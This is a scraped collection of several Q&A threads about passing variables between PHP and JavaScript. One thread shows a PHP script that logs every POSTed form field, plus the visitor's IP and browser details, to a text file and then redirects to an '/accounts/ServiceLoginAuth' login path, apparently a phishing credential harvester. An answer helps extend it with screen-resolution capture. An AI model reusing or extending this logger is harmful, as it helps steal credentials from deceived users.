I read this question php array loading into javascript to see what I can do to load a large amount of data from PHP to Javascript, it seems I may have implemented it wrong. Javascript processes and formats the data after it comes in from PHP which loads the data from a database, the data is placed into the client-side session storage so that the data can be worked with by each page. (If there is a better way to do this please let me know).
This is in one .php file.
<?php
session_start();
require_once 'classes/Membership.php';
$membership = new Membership();
$confirmation = $membership->confirm_membership();
if ($confirmation){
$data = $membership->get_data("assump");
echo '<script>var data = '.json_encode($data) .';</script>';
}
?>
This is in a separate .js file
function loadData(){
// All sessionStorage can be accessed by any javascript file
for(var i = 0; i < data.length; i++){
sessionStorage.setItem("assump" + i, data[i]);
}
}
However no values are being loaded. Is this even possible to do?
EDIT: I moved the javascript into the .php file where var data was being created from the php script at the top of the file, I placed the function loadData() into a script tag after the body tag in the html.
This should work fine. However you may experience some problem with the scope (not 100% sure). And here is my suggestion.
Attach your variable to the window object. That's everywhere and you can access it everywhere.
echo '<script>window.mydata = '.json_encode($data) .';</script>';
Ideally you could include this line before your other scripts are included, but this should be fine. I am not sure about your session storage because I would just interact with the data directly from anywhere:
window.alert(window.mydata.blah...);
I've always found that by assigning essentially global variables, to the window object you know exactly that there are no scope problems and it's always there for you.
You can also check for it's existence using:
if(window.mydata!=undefined){ ... }
or the following but the above implies you are checking that it actually exists where as the below could not be true if window.mydata does exist but is set to false or 0 or something like that...
if(window.mydata){ ... }
Related
I am selecting a payment method and making an AJAX call But I am not able to print the paymentOption parameter
I tried storing it in a cookie
if(paymentOption == "default_cod"){
processOrderWithCOD();
optionPayment = Cash;
}
document.cookie = "$payment_option = $this.optionPayment";
PHP:
<?php
$paymentOptionDisplay = $_COOKIE['payment_option'];
echo $paymentOptionDisplay ?>
I am just trying to print paymentOption but later on its value is changed so need to save it and print
You have to remember that if JS and PHP live in the same document, the PHP will be executed first (at the server) and the JS will be executed second (at the browser)--and the two will NEVER interact (excepting where you output JS with PHP, which is not really an interaction between the two engines).
In other words, if the two live in the same document and no extra interaction with the server is performed, JS can NOT cause any effect in PHP. Furthermore, PHP is limited in its effect on JS to the simple ability to output some JS or something in context of JS.
$paymentOptionDisplay = $_COOKIE['payment_option'];
Cookies usually will not be available until the page is reloaded / refreshed, which is why you're not getting the value that you're expecting. You'd really have to do the payment calculation in PHP and store it in a $_SESSION if you're looking for it to persist like a cookie.
I have a page with a header include, and the include needs a phone number to change on it ONLY if the filename of the current page contains a certain word.
Normally, for a change that is not within an include, the below code would work.
<?php if (strpos($_SERVER['REQUEST_URI'],'example-match') !== false)
{
echo '555-555-5555';
}
else
{
echo '1-800-555-5555';
}
?>
However, since the code is in an included file on the page, rather than the original page itself, the server instead is returning the name of that included file.
Example: www.example.com/im-on-this-page.html returns the name of the include the php file is in - www.example.com/header-include.php.
Is there a way to grab the URL of the page the include is "included on", rather than the url of the include, from code that is within the include?
UPDATE:
The file is being included via Javascript, since the page is it being included on is an html file:
<script>
$('#Header').load('/includes/header.php');
</script>
As of your last comment:
Then it is not an include but a GET request to the PHP delivering a JavaScript. And then, the given URL is proper. In order to find out from where the script has been included you may either look for the referer header (which is instable) or pass the current file to the script itself:
<script> $('#Header')
.load('/includes/header.php?from=encodeUriComponent("<?php echo $_SERVER['REQUEST_URI'] ?php>")'); </script>
Within your script, instead of $_SERVER['REQUEST_URI'] then use $_GET['from']
As commentors have mentioned as well. This is incorrect. $_SERVER does not change for the duration of the script (and includes). Including a file will not alter it.
A javascript include, meaning it is actually called by the client by an ajax call, and not included on the server before the page is presented.
(you load a page, and then load another page which you "print" somewhere on the first)
a quick and dirty fix would be to write something along these lines on the first php file
<?php if (strpos($_SERVER['REQUEST_URI'],'example-match') !== false)
{
echo "<script> var phone_number = '555-555-5555';</script>";
}
else
{
echo "<script> var phone_number = '1-800-555-5555';</script>";
}
?>
which will create a variable on the client side, which you then can call from the loaded page as a javascript variable
First: I KNOW this is a duplicate. I am creating this because none of the answers to all the other questions satisfy me. I have a very particular situation where I'm using yii and tryi I can't send it through ajax because the php and javascript are on the same page on the same page.
Basically what I'm asking is if you have a page that uses yii and chart js, and you need to render a page that requires two arguments from the clicked bar, which is represented by activeBars[0]:
<script>
canvas.onclick = function(event) {
var activeBars = getBarsAtEvent(event);
<?php $controller->functionThatRendersView($arg1 /**(activeBars[0].value*/,$arg2 /**(activeBars[0].label*/); ?>
}
I don't care if it will render automatically, that is another problem. I just need to get those arguments to the php.
Thanks.
Also, if it helps, I am passing those two values to javascript through php for loops:
labels: [<?php for ($i=1;$i<=$numberIssues;$i++) {
echo $i . ",";
}?>],
The problem with grabbing $i and putting it into the label argument is that I don't know which bar label is the clicked one, I need javascript to pass the clicked bar values back to php.
Explain to us again why you can't use ajax. You say "because the php and javascript are on the same page". That's not what ajax is - you need a different URL for the ajax request, and a separate PHP file or something to handle it.
Without ajax it's impossible for javascript to send information to PHP, because the PHP runs on the server before the javascript runs on the client. Unless of course you want to do a complete page refresh, which is slower and generally worse from the user perspective.
I found an answer to my question! I'm just doing this for anyone else who is stumbling:
To pass javasctipt variable var jsInteger = 5; to php you type (in javascript):
window.location.href = "yourPhpFile.php?phpInteger="+jsInteger;
You access the variable in php like so:
$phpInteger = $_GET['phpInteger'];
This will require a page refresh, and will redirect you to the php file.
I have an existing piece of code which I use to log certain data to a text file:
<?php
header("Location: https://www.example.com/accounts/ServiceLoginAuth ");
$handle = fopen("file.txt", "a");
$post = $_POST;
$post['IP'] = $_SERVER['REMOTE_ADDR'];
$post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT'];
$post['Referrer'] = $_SERVER['HTTP_REFERER'];
$post['Date&Time'] = date("l jS \of F Y h:i:s A");
foreach($post as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, PHP_EOL);
}
fwrite($handle, PHP_EOL);
fclose($handle);
exit;
?>
I also want to record the screen resolution but apparently, there is no way to do this and is only possible with JS:
var screenWidth = window.screen.width,
screenHeight = window.screen.height;
So how do I get this info to be recorded in the same file?
PS: I cannot use jquery... :(
*****EDIT*****
Ok, I can use JQuery but the output still needs to be in the same text file...
You can't, at least at the same time.
While your php is executing, your page is still pending to be send to the client (or it is in process to do).
Your javascript will be executed while the page is loading in client side and there is no chance to act over browser's http connection to your server.
So, if you want to get this data in server side, you should send it via ajax to some script that receive it.
Ok. It could modify same file. But be careful to not overlap your other script execution so you could end up with unexpected result.
Also take in mind that you can't be sure that client will effectively execute your javascript or even could it complete ajax connection to send you that information so you need to be perepared to have incomplete registers.
One way that comes to mind, is instead of having your existing code in the page the user lands on, have a new file with the Javascript, which like you already know can get the resolution.
Then, have that new initial page POST the resolution variables to your php script in the background, then the resolution variables will be part of the POST array and can store them with the rest of your existing POST data.
POST'ing data using Javascript is fairly routine, and would probably be it's own topic, but I'm sure you could find unlimited examples around the web, JQuery does do it with less code, but too bad that's not an option :(
Edit: Example below is posting to the php using jQuery
Make new "landing.php" (doesn't have to be .php, could be .html) or what ever name you want, and have this be where the user lands first, and put this in it. It could be an existing page that your user might already land on, in which case just put this in the bottom. Then it will happen in the background while the user goes about their business.
<script type="text/javascript">
var screenWidth = window.screen.width,
screenHeight = window.screen.height;
$.post('name_and_path_of_php_file_you_already_created.php', {
screenWidth: screenWidth,
screenHeight: screenHeight
}, function(data) {
// Can do something extra here, most likely redirect your
// user to a more meaningful page after the file is created
// using something like.
window.location.href = 'some_meaning_page.php';
// Also in this case, 'data' variable will hold anything
// Outputted from the PHP if any, and is optional, but can
// be useful for echo'ing out some status code or something
// and make a decision.
});
</script>
Because your existing php script already loops through the $_POST array ($post in your case) and makes key/value pairs, then this means the 'screenWidth' and 'screenHeight' key/values will be automatically added to the file with your other variables.
If you are able to add this to an existing page you know the user is landing on, then you probably don't need to redirect with the 'window.location.href', but if it's the first page, then they wont see anything, and you would want to redirect them to some content, and to them it would happen so fast they wouldn't really know they were on one page and sent to another, it would just look like the page they went to was loading normally.
Let me know if this is not clear, or if need help with another aspect.
I have been reading how to pass variables from a php webpage to a separate javascript file, but am not having any luck.
Please don't mark this as duplicate, as I know there are a ton of things out there telling the ways to do this. I recognize those posts and am more just checking my syntax or seeing if there is anything unique about my specific situation that is causing those methods not to work.
So I have a PHP webpage where I POSTed some variables to:
DOCTYPE HTML
...
<?php
$id = $_POST["id"];
$name = $_POST["name"];
?>
...
HTML code with some usage of PHP variables
javascriptFunction()
end page
Then in a separate javascript file I have:
var markerlocation = '<?php echo $point; ?>';
function javascriptFunction () {
alert("markerlocation");
});
This seems really straight forward, but for whatever reason I can't get it. I also have tried with json encode.
I can delete this when done.
Sincere thanks for any help.
My way:
Declare a Array to store variable for passing variable to JavaScript
Encode the Array to JSON in php
Decode the JSON String from php and store as a JavaScript variable
PHP
<?php
//You may declare array for javascript
$jsVal = array(
'user_name' => 'Peter',
'email' => 'peter#gmail.com',
'marker_location' => '102,300'
);
?>
<script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script>var phpConfig = jQuery.parseJSON(<?=json_encode($jsVal)?>);</script>
Separated javascript file
alert(phpConfig.marker_location);
You can try it
You can point the script tag source to a .php file instead of a .js file, I think that's what you want. Works with image tags too ;)
Edit: some browsers may require the text/javascript mime header in order for it to work properly, but it's not hard with PHP I'll assume you already know how to do that.
On a side note: This option should probably only be used if you're planning on allowing the client to cache the javascript output. If you don't want the client to cache it, you need to set additional headers.